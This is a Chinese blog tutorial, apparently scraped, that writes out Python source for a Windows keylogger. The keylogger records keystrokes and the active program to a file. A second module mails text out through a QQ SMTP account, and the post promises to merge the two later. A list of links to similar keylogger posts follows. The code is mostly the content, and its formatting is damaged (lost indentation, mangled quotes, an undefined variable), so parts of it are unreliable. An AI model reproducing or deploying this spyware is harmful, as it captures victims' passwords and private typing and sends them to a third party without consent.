文章目录

  • 键盘记录器
    • 参考
    • (1)键盘记录器-模块实现
    • (2)发送邮箱-模块实现
    • (3)模块合并

键盘记录器

参考

  《python:搞事情!键盘记录并截屏》,
地址https://baijiahao.baidu.com/s?id=1672705522702921685&wfr=spider&for=pc

  《Python通过SMTP发送邮件总是验证失败》,
地址https://segmentfault.com/q/1010000003802498

前言
  让人感到为难的,是找不到实验笔记。
  虽然在服务器上搭建过hexo,但自从被误删之后,就习惯于在本地保存笔记。经历多次花费时间和心情的寻找之后,才会进化。

正文
  键盘记录器是许多黑客入门的玩具。
实验环境:编程环境Python3.7.6。操作系统Windows 10 专业版。

原理
  hook程序:本质是通过系统调用,把该程序挂入系统指令,hook程序可以截获特定消息,经过加工后重放或中止传递。
  键盘hook:可以监控键盘操作。键盘hook,可以截获键盘消息,全局钩子可以捕获Win平台下任意窗口的键盘操作。
  系统调用函数:键盘记录使用user32.dll创建SetWindowsExA()函数,将特定指针注册到Hook Chain中,记录到来的键盘消息,并完成其他函数操作(比如截屏)。

(1)键盘记录器-模块实现

# 键盘记录

from pynput.keyboard import Listener
from ctypes import *
from PIL import ImageGrab
import datetime

keyboard = Listener()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi

获取进程名称

def get():
  hwnd = user32.GetForegroundWindow()
  pid = c_ulong(0)
  user32.GetWindowThreadProcessId(hwnd, byref(pid))
  executable = create_string_buffer(512)
  h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
  psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
  windows_title = create_string_buffer(512)
  kernel32.CloseHandle(hwnd)
  kernel32.CloseHandle(h_process)
  return executable.value + windows_title.value

def press(key):
  with open(‘D:\1\keyboard.txt’, ‘a+’) as f:
  try:
    f.write(str(datetime.datetime.now()) + “键盘输入:”)
    f.write(str(key.char)+’- 当前使用程序:’)
    f.write(str(get())+’\n’)
  except AttributeError:
    f.write(str(key)+’ ‘)
    f.write(str(get())+’\n’)
if name == ‘main’:
# 键盘记录
  with Listener(on_press=press) as listener:
  listener.join()

运行效果:

(2)发送邮箱-模块实现

  使用QQ邮箱自动登录并发送邮件,要开启QQ邮箱的SMTP服务,申请授权码。

import os
import sys
import smtplib
from smtplib import SMTP_SSL
from email.header import Header
from email.mime.text import MIMEText

def send():
  smtp = SMTP_SSL(mailInfo[“hostname”])
  smtp.set_debuglevel(1)
  smtp.ehlo(mailInfo[“hostname”])
  smtp.login(mailInfo[“username”], mailInfo[“password”])

  msg = MIMEText(mailInfo[“mailtext”], “text”, mailInfo[“mailencoding”])
  msg[“Subject”] = Header(mailInfo[“mailsubject”], mailInfo[“mailencoding”])
  msg[“from”] = mailInfo[“from”]
  msg[“to”] = mailInfo[“to”]
  smtp.sendmail(mailInfo[“from”], mailInfo[“to”], msg.as_string())
  smtp.quit()

if name == ‘main’:
  mailInfo = {
  “from”: “send_mail@qq.com”,
  “to”: “accept_mail@163.com”,
  “hostname”: “smtp.qq.com”,
  “username”: “send_mail@qq.com”,
  “password”: “SMTP授权码”,
  “mailsubject”: “this is test”,
  “mailtext”: text,
  “mailencoding”: “utf-8”
  }
  send()

模块运行效果:

(3)模块合并

  且听下回分解。

使用Python实现键盘记录器和邮箱自动通知相关推荐

  1. Python编写键盘记录器

    用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没 ...

  2. python键盘记录器_使用Python设计键盘记录器

    在这里,我们将使用python开发键盘记录程序.但是在此之前,什么是键盘记录程序?键盘记录器是一个程序,我们使用它来监视击键.这些击键将存储在日志文件中.我们可以使用此按键记录敏感信息,例如用户名和密 ...

  3. python实现键盘记录器

    请先下载相应的Python库,这里有教程:http://blog.sina.com.cn/s/blog_65b9816e0101pzh3.html __author__ = 'lxw'import p ...

  4. python-实现键盘记录器

    我们今天的目标是python实现键盘记录器.这归属于信息安全领域,黑客入门木马的一个实现,各位不要拿来干坏事哦.我们务必要遵守法律. 它的实现我是在csdn上看到的 代码链接:http://m.blo ...

  5. python 三种键盘记录器 based on pyhook,pynput,pygame

    在python语言中使用键盘输入,其方式之多,令人发指.但是为什么我要写这篇文章呢?我乐意呀!哈哈哈.当然,同学发问了,老铁,你是闲出屁来了? 哼?怎么可能,我是闲的蛋疼... 咱先把泌尿外科的事放一 ...

  6. Python实现邮箱自动群发工资条

    Python实现邮箱自动群发工资条 excel的内容 效果 需要用的库: openpyxl smptlib email.mime.text email.header 1.获取excel表的数据 wb ...

  7. Python+Selenium自动化测试——126邮箱自动登录脚本(登录首页是二维码,切入账号密码输入框)

    Python+Selenium自动化测试--126邮箱自动登录脚本 版权声明:本文为博主原创文章,未经允许不得转载.https://blog.csdn.net/qiao_wan/article/det ...

  8. Python实现一个键盘记录器功能

    关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...

  9. 用python六行代码写一个简单的键盘记录器

    今天我们来用python制作一个键盘记录器 1.需要先安装pynput库 2.然后我们要在C盘里新建一个hi文件夹(我的电脑是c盘所以用c:盘新建,盘符可以更改) 3.新建好后我们打开pycharm开 ...

最新文章

  1. CV十年发展之观察:1.5万篇论文透视「业界」与「学界」,到底谁更胜一筹?...
  2. JavaScript内存释放
  3. Eclipse中的插件安装
  4. 史上最全PHP正则表达式实例汇总
  5. 张军:围绕“WebRTC+AI+大数据”创新
  6. 非常好的在网页中显示pdf的方法
  7. 软件工程---4.需求工程
  8. eclipse 快捷键总结
  9. Python科学计算扩展库numpy中的广播运算
  10. D3、EChart、HighChart绘图demol
  11. Memcached:高性能的分布式内存缓存服务器
  12. 数据结构与算法python—11.查找及python实现与leetcode总结
  13. Exchange 2013CU17和office 365混合部署-配置SSO(七)
  14. 2016年大数据发展趋势预测
  15. 大数据与传统数仓的区别?
  16. python制作ico图标_Python 批量 png 转 ico
  17. 输入某年某日,判断这一天是这一年的第几天
  18. morris算法(莫里斯遍历) [数据结构与算法]
  19. iphone win7无法识别_Win7电脑不能识别iphone苹果设备怎么解决
  20. git命令和遇见得 warning:

热门文章

  1. USB PD物理层使用的4B/5B编码介绍
  2. git 如何将主分支(master)合并到子分支上
  3. Venom 内网穿透
  4. 微博是这样炼成的:山寨QQ项目源码下载大全~
  5. 注意:近期QQ陌生人经常发送QQ文件名为“果冻.r22”等文件!大家千万别接收或打开!
  6. 2017华为软件精英挑战赛小结
  7. 【Unity】安卓加密编译libmono.so成功失败记录(unity2017已成功编译)
  8. Android监控电池电量和充电状态
  9. oracle多表关联多字段update
  10. 推箱子 | Java课程设计